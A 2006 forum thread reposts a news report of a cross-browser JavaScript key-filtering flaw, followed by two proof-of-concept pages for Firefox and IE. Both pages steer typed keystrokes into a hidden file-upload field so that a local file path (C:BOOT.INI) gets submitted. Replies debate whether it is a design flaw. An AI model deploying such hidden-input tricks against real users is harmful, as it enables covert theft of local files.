NEW HUGE javascript bug (works both on IE and FF)

DLSS · June 7, 2006

IE And Firefox Sport New Zero-day Flaw

Multiple security organizations warned Tuesday that Internet Explorer, Firefox, Mozilla, and SeaMonkey -- on Windows, Linux, and the Mac -- are vulnerable to a JavaScript bug that could allow a determined attacker to dupe users into giving up sensitive personal information such as credit card or bank account numbers and passwords.

According to Symantec, which issued an alert late afternoon Tuesday, all versions of the Microsoft and Mozilla browsers could be used to harvest data through a JavaScript key-filtering vulnerability.

"This issue is triggered by utilizing JavaScript 'OnKeyDown' events to capture and duplicate keystrokes from users," went the Symantec warning.

The bug would let crafty criminals filter keystrokes entered into a form, say a credit card form to pay for online goods, to an invisible file upload dialog on the same Web page. Once the information's trapped in that hidden dialog -- the vulnerability discoverer used the analogy of the keystrokes "bouncing" from the legit (or at least legitimate-looking form) to the cloaked one -- the data could be sent to the attacker.

"Exploiting this issue requires that users manually type the full path of files that attackers wish to downloadâ€¦[and] may require substantial typing from targeted users, so keyboard-based games, blogs, or other similar pages are likely to be utilized by attackers to entice users to enter the required keyboard input to exploit this issue," continued Symantec.

Danish vulnerability tracker Secunia also posted warnings of the bug Tuesday, and ranked it as "less critical," the second-from-the-bottom rating in its five-step scoring system.

The bug is unusual in that it affects not only Internet Explorer -- including fully-patched IE 6.0 and even IE 7 Beta 2 -- but also Firefox (though the most current version 1.5.0.4), the Mozilla suite, and the separately-developed successor to Mozilla, SeaMonkey. It's also out of the ordinary by virtue of its multi-platform impact: users of those browsers running Windows, Linux, and Mac OS X are vulnerable, said Symantec.

Charles McAuley, who first posted information about the bug on the Full Disclosure security mailing list Monday, also published proof-of-concept code to demonstrate how an exploit might work.

Symantec advised users to avoid unfamiliar Web neighborhoods and/or disable scripting or active content capabilities of the affected browsers.

here's a bit of the exploitcode :

anyways, onto the code:



FIREFOX:

  Instructions:

     Copy paste this into an editor.  Load in firefox. click in text box

on right pane.  type the letter 'c', notice it appear in file input box.

 Press the letter 'a', notice it not appear.  press ':', appearrs.

Will filter out the string "c:boot.ini".



&lt;HTML&gt;

&lt;HEAD&gt;

&lt;style type="text/css"&gt;

.first {

}

.second {

        color: white;

        background-color: white;

        opacity: 0;

}

&lt;/style&gt;

&lt;SCRIPT&gt;

//document.onKeyDown = doKeyPress;



//document.onKeyUp = doKeyUp;

var saved;

var e;

var mystring = "C:BOOT.INI";

//var i=mystring.length-1;

var i=0;

function doKeyPress(chucky)

    {

    saved = chucky.which;

    //alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');

    if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||

        i &gt; mystring.length-1) {

       return false;

    }

    i++;

    return true;

  };

function doKeyUp () {



document.forms[0].txt.value += String.fromCharCode(saved);

document.forms[0].txt.focus();



}



&lt;/SCRIPT&gt;

&lt;/HEAD&gt;

&lt;BODY &gt;

&lt;FORM METHOD=POST action=file.php&gt;

&lt;INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE

OnKeyUp="doKeyUp();"

OnKeyPress="return doKeyPress(event);"&gt;

&lt;input name=txt id='txt' type=text value=''

OnKeyDown="document.forms[0].fileupload.focus();"

onClick=""&gt;

&lt;input type=button value="invisible"

onclick="document.forms[0].fileupload.className='second';"&gt;

&lt;input type=button value="visible"

onclick="document.forms[0].fileupload.className='first';"&gt;



&lt;/FORM&gt;

&lt;/BODY&gt;

&lt;/HTML&gt;











INTERNET EXPLORER 6 + 7:

   Description: Same thing as above.

   Instructions: turn on CAPSLOCK (lame). click in text box.  press 'I'.

 press 'N', press 'I' press '.'  etc....  will filter out C:BOOT.INI.



CODE:

&lt;HTML&gt;

&lt;HEAD&gt;

&lt;SCRIPT&gt;

//document.onKeyDown = doKeyPress;



//document.onKeyUp = doKeyUp;

var saved;

var e;

var mystring = "C:BOOT.INI";

var i=mystring.length-1;



function doKeyPress () {

e = window.event;

saved = e.keyCode;

window.status = "e.keyCode == " + e.keyCode + "character is " +

mystring.charCodeAt(i);

if(e.keyCode != mystring.charCodeAt(i))

    {

    //e.keyCode =0;

    e.returnValue=false;

    e.cancelBubble=true;

}

else {

    i--;

}

document.forms[0].fileupload.focus();



}



function doKeyUp () {



document.forms[0].txt.value += String.fromCharCode(saved);

document.forms[0].txt.focus();



}



function switchtype() {

  /*  var e = document.getElementById('txt');

       document.forms[0].txt.setAttribute("type", "file");

       e.setAttribute("value", "asfasfsd");

  */

}



function fux0rKeys() {

   }

&lt;/SCRIPT&gt;

&lt;/HEAD&gt;

&lt;BODY onload="document.forms[0].txt.value='sometext';

document.forms[0].fileupload.value='asdfsdfadsf';"&gt;

&lt;FORM METHOD=POST action=file.php&gt;

&lt;INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE

OnKeyUp="doKeyUp();"

OnKeyPress="doKeyPress();"&gt;

&lt;input name=txt id='txt' type=text value='asdfsdafasdf'

OnKeyDown="document.forms[0].fileupload.focus();"

asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"

onClick=""&gt; visible

&lt;/FORM&gt;

&lt;/BODY&gt;

&lt;/HTML&gt;

Sparda · June 7, 2006

I THINK this is not an exploit or a bug BUT a flaw in the desighn of the world wide web 2.0 (AJAX?). It does not make use of any browser exploits or bugs. It does how do this (from what I understand):

You visit a web page that contains a frameset, in one of the frames there is some AJAX (or JavaScript, what ever you want ot call it) that logs all keys you press on the keyboard and then sends them to a remote server while in the other frame there is a genuin website that you want to enter your data into, asuming the frame page is made correctly you shouldn't be able to tell it is in a frame., of course in firefox if you right click you get the "This Frame" context menu which is the give away.

cooper · June 7, 2006

While I don't see what Ajax/Web2.0 has to do with it, I think you're right in concluding that what's happening is basically nefarious use of a designed capability. It's basically normal behaviour.

The post to the full disclosure mailing list with all the goods:

http://lists.grok.org.uk/pipermail/full-di...une/046610.html

I honestly don't have a clue as to how they plan to stop such an attack.

Sparda · June 7, 2006

I thought it made use of AJAX (which is what supposably is this whole Web 2.0 thing) to send the keystrokes to a remote server.

I ment to point out that this 'bug' will most likly effect any web browser that supports JavaScript and frames.

cooper · June 7, 2006

No Ajax. Just, like you said, javascript and frames.

And I think the jury is still out about this Web2.0 thing. I don't even know who coined the term, but so far all of its uses have been for the most part rediculous.

Sign In

NEW HUGE javascript bug (works both on IE and FF)

Recommended Posts

DLSS

Sparda

cooper

Sparda

cooper

Join the conversation

Recently Browsing 0 members

Browse

Activity